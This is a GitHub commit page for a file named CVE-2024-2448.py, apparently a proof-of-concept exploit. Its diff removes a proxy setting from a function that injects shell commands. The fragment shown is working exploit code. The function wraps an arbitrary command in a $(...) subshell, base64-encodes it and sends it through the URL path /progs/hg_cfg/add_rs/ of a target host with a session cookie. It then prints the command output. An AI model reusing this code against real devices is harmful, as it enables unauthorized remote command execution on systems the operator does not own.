Skip to content

Commit ceb6882

Browse files
authored
Update CVE-2024-2448.py
Remove proxy
1 parent 1b115b5 commit ceb6882

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

CVE-2024-2448/CVE-2024-2448.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ def exec_command(cmd, cookie, host):
3131
cmd = f"$({cmd} 1>&2)"
3232
encoded_cmd = base64.b64encode(cmd.encode()).decode()
3333
url = f"{host}/progs/hg_cfg/add_rs/{encoded_cmd}"
34-
response = requests.get(url, headers=get_headers(host, cookie), verify=False, proxies={"https":"http://192.168.0.11:8080"})
34+
response = requests.get(url, headers=get_headers(host, cookie), verify=False)
3535
print(get_cmd_output(response.text))
3636
cleanup(cookie, host)
3737

0 commit comments

Comments
 (0)